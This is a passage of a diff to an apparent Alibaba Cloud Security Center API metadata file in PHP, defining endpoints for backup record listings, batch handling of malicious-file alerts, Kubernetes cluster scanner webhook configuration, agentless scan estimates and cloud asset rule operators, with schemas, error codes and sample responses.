公网IP存在则该值为公网IP，公网IP不存在私网IP存在则为私网IP。'."\n", + 'type' => 'string', + 'example' => '1.1.1.1', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-2zee6ru2t8xbzix6****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '1.1.1.1'."\n", + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '192.168.1.1', + ], + 'RegionId' => [ + 'description' => '实例所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的统计信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询结果的总记录数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"UniBackupRecordList\\": [\\n {\\n \\"Uuid\\": \\"5d13e7cf-8074-4ffe-ab3b-1046565a****\\",\\n \\"InstanceUuid\\": \\"18d04f2a496811ef800000163e13****\\",\\n \\"Subtype\\": \\"full\\",\\n \\"DatabaseType\\": \\"MYSQL\\",\\n \\"BackupStartTime\\": 1729071306,\\n \\"BackupEndTime\\": 1729071307,\\n \\"DatabaseName\\": \\"test_MySQL11\\",\\n \\"State\\": \\"completed\\",\\n \\"ErrorMessageList\\": [\\n \\"Inner Error.\\"\\n ],\\n \\"InstanceName\\": \\"launch-advisor-20190410\\",\\n \\"Ip\\": \\"1.1.1.1\\",\\n \\"InstanceId\\": \\"i-2zee6ru2t8xbzix6****\\",\\n \\"InternetIp\\": \\"1.1.1.1\\\\n\\",\\n \\"IntranetIp\\": \\"192.168.1.1\\",\\n \\"RegionId\\": \\"cn-shanghai\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 10,\\n \\"Count\\": 10\\n }\\n}","type":"json"}]', + 'title' => '查询数据库备份记录列表', + ], + 'HandleSimilarMaliciousFiles' => [ + 'summary' => '批量处理恶意样本告警。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '251677', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Scenario', + 'in' => 'query', + 'schema' => [ + 'title' => '场景: same_file_md5 - 相同文; default - 默认为相同告警类型', + 'description' => '批量处理的场景：'."\n" + .'- same_file_md5：相同文件md5；'."\n" + .'- default（默认值）：相同告警类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'same_file_md5', + ], + ], + [ + 'name' => 'Operation', + 'in' => 'query', + 'schema' => [ + 'title' => '处置操作', + 'description' => '处置动作：'."\n" + .'- addWhitelist：加白名单；'."\n" + .'- offWhitelist：取消加白；'."\n" + .'- offline_handled：线下已处理；'."\n" + .'- mark_mis_info：提交误报；'."\n" + .'- ignore：忽略。', + 'type' => 'string', + 'required' => true, + 'example' => 'ignore', + ], + ], + [ + 'name' => 'EventId', + 'in' => 'query', + 'schema' => [ + 'title' => '目标告警id', + 'description' => '目标告警id', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'schema' => [ + 'title' => '扫描范围', + 'description' => '文件来源。取值：'."\n" + .'- agentless：主机检测；'."\n" + .'- ecs_snapshot：用户快照检测；'."\n" + .'- ecs_image：用户自定义镜像检测。', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值包括：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '批量处理的告警数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8C376***AE74FB4', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 1,\\n \\"RequestId\\": \\"8C376***AE74FB4\\"\\n}","type":"json"}]', + 'title' => '批量处理恶意样本告警', + 'description' => '****', + ], + 'GenerateClusterScannerWebhookYaml' => [ + 'summary' => '生成k8s集群扫描组件接入配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口从ClusterId字段获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'c3aaf6c8085f84791882eef200cd2****', + ], + ], + [ + 'name' => 'WebhookOpen', + 'in' => 'query', + 'schema' => [ + 'description' => '增量扫描开关是否开启。取值：'."\n" + .'- **0**：未开启'."\n" + .'- **1**：已开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', + ], + 'ClusterId' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'example' => 'c471f0f61b9c04f8380556e922cf1****', + ], + 'Id' => [ + 'description' => '唯一标识。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '131231', + ], + 'WebhookOpen' => [ + 'description' => '增量扫描开关是否开启。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"ClusterId\\": \\"c471f0f61b9c04f8380556e922cf1****\\",\\n \\"Id\\": 131231,\\n \\"WebhookOpen\\": 1\\n}","type":"json"}]', + 'title' => '生成集群扫描组件接入配置', + ], + 'DescribeClusterScannerList' => [ + 'summary' => '查看k8s集群扫描器状态信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ClusterIdList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '集群ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => '"c857d908016794125883a9ee8196c****"', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'StatusList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描器状态列表。取值：'."\n" + .'- **online**：运行中'."\n" + .'- **offline**：离线'."\n" + .'- **not_installed**：未安装', + 'type' => 'array', + 'items' => [ + 'description' => '扫描器状态。', + 'type' => 'string', + 'required' => false, + 'example' => 'online', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'InstalledCount' => [ + 'description' => '已经安装扫描器的集群数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '11C96623-E106-59C9-866D-A6C82911459F', + ], + 'List' => [ + 'description' => '集群列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '扫描器状态。取值：'."\n" + .'- **online**：运行中'."\n" + .'- **offline**：离线'."\n" + .'- **not_installed**：未安装', + 'type' => 'string', + 'example' => 'offline', + ], + 'LastTime' => [ + 'description' => '最新心跳时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1693446913000', + ], + 'Version' => [ + 'description' => '版本号。', + 'type' => 'string', + 'example' => '20241111', + ], + 'NeedUpdate' => [ + 'description' => '是否需要升级。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'WebhookOpen' => [ + 'description' => '增量扫描开关是否开启。取值：'."\n" + .'- **0**：未开启'."\n" + .'- **1**：已开启', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'WebhookStatus' => [ + 'description' => '增量扫描的组件状态。取值：'."\n" + .'- **n**：未部署'."\n" + .'- **y**：已部署', + 'type' => 'string', + 'example' => 'n', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InstalledCount\\": 1,\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911459F\\",\\n \\"List\\": [\\n {\\n \\"Status\\": \\"offline\\",\\n \\"LastTime\\": 1693446913000,\\n \\"Version\\": \\"20241111\\",\\n \\"NeedUpdate\\": true,\\n \\"WebhookOpen\\": 1,\\n \\"WebhookStatus\\": \\"n\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查看集群扫描器列表', + ], + 'GetClusterScannerYaml' => [ + 'summary' => '查询K8s集群扫描接入配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'cd49575861a3044d49c954e4b3911****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'WebhookOpen' => [ + 'description' => '增量扫描开关是否开启。取值：'."\n" + .'- **0**：未开启'."\n" + .'- **1**：已开启', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ClusterId' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'example' => 'c7c190a82d9a048be9038d352840f****', + ], + 'CaCertBase64' => [ + 'description' => 'base64编码的ca证书。', + 'type' => 'string', + 'example' => 'xxx', + ], + 'TlsKeyBase64' => [ + 'description' => 'base64编码的webhook私钥。', + 'type' => 'string', + 'example' => 'xxx', + ], + 'TlsCertBase64' => [ + 'description' => 'base64编码的webhook证书。', + 'type' => 'string', + 'example' => 'xxx', + ], + 'Image' => [ + 'description' => '容器镜像信息。', + 'type' => 'string', + 'example' => 'xxxx-registry.cn-shanghai.cr.aliyuncs.com/default/scanner:v1', + ], + 'ClusterEnvInfo' => [ + 'description' => '集群环境信息。', + 'type' => 'string', + 'example' => 'xxx', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"WebhookOpen\\": 1,\\n \\"ClusterId\\": \\"c7c190a82d9a048be9038d352840f****\\",\\n \\"CaCertBase64\\": \\"xxx\\",\\n \\"TlsKeyBase64\\": \\"xxx\\",\\n \\"TlsCertBase64\\": \\"xxx\\",\\n \\"Image\\": \\"xxxx-registry.cn-shanghai.cr.aliyuncs.com/default/scanner:v1\\",\\n \\"ClusterEnvInfo\\": \\"xxx\\"\\n}","type":"json"}]', + 'title' => '查看集群扫描组件接入配置', + ], + 'GetAgentlessTaskUsedSizeEstimate' => [ + 'summary' => '获取无代理检测预估检测量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '155384', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'AssetSelectionType', + 'in' => 'query', + 'schema' => [ + 'description' => '资产选择标识。', + 'type' => 'string', + 'required' => true, + 'example' => 'AGENTLESS_SCAN_ONCE_TASK_1720145******', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CD380235-A0B8-540D-A0D5-D62884469E3C', + ], + 'EstimateUsedSize' => [ + 'description' => '本次检测任务预估检测量，单位GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D62884469E3C\\",\\n \\"EstimateUsedSize\\": 1\\n}","type":"json"}]', + 'title' => '获取无代理检测预估检测量', + ], + 'ListCloudAssetMatchOperators' => [ + 'summary' => 'Get the list of cloud product configuration rule operators', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasLFD8D4', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => 'Indicates whether the request was successful. Valid values:'."\n" + ."\n" + .'* **true**'."\n" + .'* **false**'."\n", + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => 'The request ID.'."\n", + 'type' => 'string', + 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', + ], + 'MatchTypeOperators' => [ + 'description' => '操作符类型。', + 'type' => 'array', + 'items' => [ + 'description' => '操作符类型。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => 'The type used by the operator. Values:'."\n" + .'- LIST '."\n" + .'- MAP '."\n" + .'- STRING '."\n" + .'- BOOLEAN '."\n" + .'- FLOAT '."\n" + .'- DOUBLE '."\n" + .'- INTEGER '."\n" + .'- LONG ', + 'type' => 'string', + 'example' => 'LIST', + ], + 'MatchOperators' => [ + 'description' => '操作符列表。', + 'type' => 'array', + 'items' => [ + 'description' => '操作符列表。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => 'Unique name of the operator. Values: - LIST type: '."\n" + .'1. LIST_CONTAINS: contains '."\n" + .'2. LIST_LENGTH_GT: length greater than '."\n" + .'3. LIST_LENGTH_LT: length less than '."\n" + .'4. LIST_NOT_CONTAINS: does not contain'."\n" + .'- STRING type: '."\n" + .'1. STRING_NOT_IN: not in list '."\n" + .'2. STRING_EQ: equals '."\n" + .'3. STRING_IN: in list '."\n" + .'4. STRING_NOT_EQ: not equal'."\n" + .'- BOOLEAN type: '."\n" + .'1. BOOLEAN_NOT_IN: not in list '."\n" + .'2. BOOLEAN_EQ: equals '."\n" + .'3. BOOLEAN_IN: in list '."\n" + .'4. BOOLEAN_NOT_EQ: not equal'."\n" + .'- FLOAT type: 1. FLOAT_NOT_IN: not in list '."\n" + .'2. FLOAT_EQ: equals 3. FLOAT_IN: in list '."\n" + .'4. FLOAT_NOT_EQ: not equal '."\n" + .'5. FLOAT_GT: greater than '."\n" + .'6. FLOAT_GTE: greater than or equal to '."\n" + .'7. FLOAT_LT: less than '."\n" + .'8. FLOAT_LTE: less than or equal to'."\n" + .'- DOUBLE type: '."\n" + .'1. DOUBLE_NOT_IN: not in list '."\n" + .'2. DOUBLE_EQ: equals '."\n" + .'3. DOUBLE_IN: in list '."\n" + .'4. DOUBLE_NOT_EQ: not equal '."\n" + .'5. DOUBLE_GT: greater than '."\n" + .'6. DOUBLE_GTE: greater than or equal to 7'."\n" + .'. DOUBLE_LT: less than '."\n" + .'8. DOUBLE_LTE: less than or equal to'."\n" + .'- INTEGER type: '."\n" + .'1. INTEGER_NOT_IN: not in list '."\n" + .'2. INTEGER_EQ: equals '."\n" + .'3. INTEGER_IN: in list '."\n" + .'4. INTEGER_NOT_EQ: not equal '."\n" + .'5. INTEGER_GT: greater than '."\n" + .'6. INTEGER_GTE: greater than or equal to '."\n" + .'7. INTEGER_LT: less than '."\n" + .'8. INTEGER_LTE: less than or equal to'."\n" + .'- LONG type: '."\n" + .'1. LONG_NOT_IN: not in list '."\n" + .'2. LONG_EQ: equals '."\n" + .'3. LONG_IN: in list '."\n" + .'4. LONG_NOT_EQ: not equal '."\n" + .'5. LONG_GT: greater than '."\n" + .'6. LONG_GTE: greater than or equal to '."\n" + .'7. LONG_LT: less than '."\n" + .'8. LONG_LTE: less than or equal to
'."\n", + 'type' => 'string', + 'example' => 'LIST_CONTAINS', + ], + 'Value' => [ + 'description' => 'Operator value. Options: - For LIST type: '."\n" + .'1. CONTAINS: contains '."\n" + .'2. LENGTH_GT: length greater than '."\n" + .'3. LENGTH_LT: length less than '."\n" + .'4. NOT_CONTAINS: does not contain'."\n" + .'- For STRING type: '."\n" + .'1. NOT_IN: not in the list '."\n" + .'2. EQ: equals '."\n" + .'3. IN: in the list '."\n" + .'4. NOT_EQ: does not equal'."\n" + .'- For BOOLEAN type: '."\n" + .'1. NOT_IN: not in the list '."\n" + .'2. EQ: equals '."\n" + .'3. IN: in the list '."\n" + .'4. NOT_EQ: does not equal'."\n" + .'- For FLOAT type: '."\n" + .'1. NOT_IN: not in the list '."\n" + .'2. EQ: equals '."\n" + .'3. IN: in the list '."\n" + .'4. NOT_EQ: does not equal '."\n" + .'5. GT: greater than '."\n" + .'6. GTE: greater than or equal to '."\n" + .'7. LT: less than '."\n" + .'8. LTE: less than or equal to'."\n" + .'- For DOUBLE type: '."\n" + .'1. NOT_IN: not in the list '."\n" + .'2. EQ: equals '."\n" + .'3. IN: in the list '."\n" + .'4. NOT_EQ: does not equal '."\n" + .'5. GT: greater than '."\n" + .'6. GTE: greater than or equal to '."\n" + .'7. LT: less than '."\n" + .'8. LTE: less than or equal to'."\n" + .'- For INTEGER type: '."\n" + .'1. NOT_IN: not in the list '."\n" + .'2. EQ: equals '."\n" + .'3. IN: in the list '."\n" + .'4. NOT_EQ: does not equal '."\n" + .'5. GT: greater than '."\n" + .'6. GTE: greater than or equal to '."\n" + .'7. LT: less than '."\n" + .'8. LTE: less than or equal to'."\n" + .'- For LONG type: '."\n" + .'1. NOT_IN: not in the list '."\n" + .'2. EQ: equals '."\n" + .'3. IN: in the list '."\n" + .'4. NOT_EQ: does not equal '."\n" + .'5. GT: greater than '."\n" + .'6. GTE: greater than or equal to '."\n" + .'7. LT: less than '."\n" + .'8. LTE: less than or equal to', + 'type' => 'string', + 'example' => 'CONTAINS', + ], + 'ShowName' => [ + 'description' => 'Operator display name. Values: '."\n" + .'- For LIST type: '."\n" + .'1. Contains: includes '."\n" + .'2. SizeGreaterThan: size greater than '."\n" + .'3. SizeLessThan: size less than '."\n" + .'4. NotContains: does not include'."\n" + .'- For STRING type: '."\n" + .'1. NotIn: not in the list '."\n" + .'2. Equals: equals '."\n" + .'3. In: in the list '."\n" + .'4. NotEquals: does not equal'."\n" + .'- For BOOLEAN type: '."\n" + .'1. NotIn: not in the list '."\n" + .'2. Equals: equals '."\n" + .'3. In: in the list '."\n" + .'4. NotEquals: does not equal'."\n" + .'- For FLOAT type: '."\n" + .'1. NotIn: not in the list '."\n" + .'2. Equals: equals '."\n" + .'3. In: in the list '."\n" + .'4. NotEquals: does not equal '."\n" + .'5. `>`: greater than '."\n" + .'6. `>=`: greater than or equal to '."\n" + .'7. <: less than '."\n" + .'8. <=: less than or equal to'."\n" + .'- For DOUBLE type: '."\n" + .'1. NotIn: not in the list '."\n" + .'2. Equals: equals '."\n" + .'3. In: in the list '."\n" + .'4. NotEquals: does not equal '."\n" + .'5. `>`: greater than '."\n" + .'6. `>=`: greater than or equal to '."\n" + .'7. <: less than '."\n" + .'8. <=: less than or equal to (Note: There seems to be a repetition here, likely meant to be \'<=\' for \'less than or equal to\')'."\n" + .'- For INTEGER type: '."\n" + .'1. NotIn: not in the list '."\n" + .'2. Equals: equals '."\n" + .'3. In: in the list '."\n" + .'4. NotEquals: does not equal '."\n" + .'5. `>`: greater than '."\n" + .'6. `>=`: greater than or equal to '."\n" + .'7. <: less than '."\n" + .'8. <=: less than or equal to'."\n" + .'- For LONG type: '."\n" + .'1. NotIn: not in the list '."\n" + .'2. Equals: equals '."\n" + .'3. In: in the list '."\n" + .'4. NotEquals: does not equal '."\n" + .'5. >: greater than '."\n" + .'6. >=: greater than or equal to '."\n" + .'7. <: less than '."\n" + .'8. <=: less than or equal to'."\n" + .'- For INTEGER type (repeated): '."\n" + .'1. NotIn: not in the list '."\n" + .'2. Equals: equals '."\n" + .'3. In: in the list '."\n" + .'4. NotEquals: does not equal '."\n" + .'5. `>`: greater than '."\n" + .'6. `>=`: greater than or equal to '."\n" + .'7. <: less than '."\n" + .'8. <=: less than or equal to', + 'type' => 'string', + 'example' => 'Contains', + ], + 'InputPattern' => [ + 'description' => 'Operation data types. Values: '."\n" + .'- LIST type: '."\n" + .'1. For Name as LIST_CONTAINS, the value is: LIST '."\n" + .'2. For Name as LIST_LENGTH_GT, the value is: PRIMITIVE '."\n" + .'3. For Name as LIST_LENGTH_LT, the value is: PRIMITIVE '."\n" + .'4. For Name as LIST_NOT_CONTAINS, the value is: LIST'."\n" + .'- STRING type: '."\n" + .'1. For Name as STRING_NOT_IN, the value is: LIST '."\n" + .'2. For Name as STRING_EQ, the value is: PRIMITIVE '."\n" + .'3. For Name as STRING_IN, the value is: LIST '."\n" + .'4. For Name as STRING_NOT_EQ, the value is: PRIMITIVE'."\n" + .'- BOOLEAN type: '."\n" + .'1. For Name as BOOLEAN_NOT_IN, the value is: LIST '."\n" + .'2. For Name as BOOLEAN_EQ, the value is: PRIMITIVE '."\n" + .'3. For Name as BOOLEAN_IN, the value is: LIST '."\n" + .'4. For Name as BOOLEAN_NOT_EQ, the value is: PRIMITIVE'."\n" + .'- FLOAT type: '."\n" + .'1. For Name as FLOAT_NOT_IN, the value is: LIST '."\n" + .'2. For Name as FLOAT_EQ, the value is: PRIMITIVE '."\n" + .'3. For Name as FLOAT_IN, the value is: LIST '."\n" + .'4. For Name as FLOAT_NOT_EQ, the value is: PRIMITIVE '."\n" + .'5. For Name as FLOAT_GT, the value is: PRIMITIVE '."\n" + .'6. For Name as FLOAT_GTE, the value is: PRIMITIVE '."\n" + .'7. For Name as FLOAT_LT, the value is: PRIMITIVE '."\n" + .'8. For Name as FLOAT_LTE, the value is: PRIMITIVE'."\n" + .'- DOUBLE type: '."\n" + .'1. For Name as DOUBLE_NOT_IN, the value is: LIST '."\n" + .'2. For Name as DOUBLE_EQ, the value is: PRIMITIVE '."\n" + .'3. For Name as DOUBLE_IN, the value is: LIST '."\n" + .'4. For Name as DOUBLE_NOT_EQ, the value is: PRIMITIVE '."\n" + .'5. For Name as DOUBLE_GT, the value is: PRIMITIVE '."\n" + .'6. For Name as DOUBLE_GTE, the value is: PRIMITIVE '."\n" + .'7. For Name as DOUBLE_LT, the value is: PRIMITIVE 8. For Name as DOUBLE_LTE, the value is: PRIMITIVE'."\n" + .'- INTEGER type: '."\n" + .'1. For Name as INTEGER_NOT_IN, the value is: LIST '."\n" + .'2. For Name as INTEGER_EQ, the value is: PRIMITIVE '."\n" + .'3. For Name as INTEGER_IN, the value is: LIST '."\n" + .'4. For Name as INTEGER_NOT_EQ, the value is: PRIMITIVE '."\n" + .'5. For Name as INTEGER_GT, the value is: PRIMITIVE '."\n" + .'6. For Name as INTEGER_GTE, the value is: PRIMITIVE '."\n" + .'7. For Name as INTEGER_LT, the value is: PRIMITIVE '."\n" + .'8. For Name as INTEGER_LTE, the value is: PRIMITIVE'."\n" + .'- LONG type: '."\n" + .'1. For Name as LONG_NOT_IN, the value is: LIST '."\n" + .'2. For Name as LONG_EQ, the value is: PRIMITIVE '."\n" + .'3. For Name as LONG_IN, the value is: LIST '."\n" + .'4. For Name as LONG_NOT_EQ, the value is: PRIMITIVE '."\n" + .'5. For Name as LONG_GT, the value is: PRIMITIVE '."\n" + .'6. For Name as LONG_GTE, the value is: PRIMITIVE '."\n" + .'7. For Name as LONG_LT, the value is: PRIMITIVE '."\n" + .'8. For Name as LONG_LTE, the value is: PRIMITIVE'."\n" + .'- INTEGER type (repeated): '."\n" + .'1. For Name as INTEGER_NOT_IN, the value is: LIST '."\n" + .'2. For Name as INTEGER_EQ, the value is: PRIMITIVE '."\n" + .'3. For Name as INTEGER_IN, the value is: LIST '."\n" + .'4. For Name as INTEGER_NOT_EQ, the value is: PRIMITIVE '."\n" + .'5. For Name as INTEGER_GT, the value is: PRIMITIVE '."\n" + .'6. For Name as INTEGER_GTE, the value is: PRIMITIVE '."\n" + .'7. For Name as INTEGER_LT, the value is: PRIMITIVE '."\n" + .'8. For Name as INTEGER_LTE, the value is: PRIMITIVE', + 'type' => 'string', + 'example' => 'PRIMITIVE', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AccountIdNotExist', + 'errorMessage' => 'AccountId not exist', + ], + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', 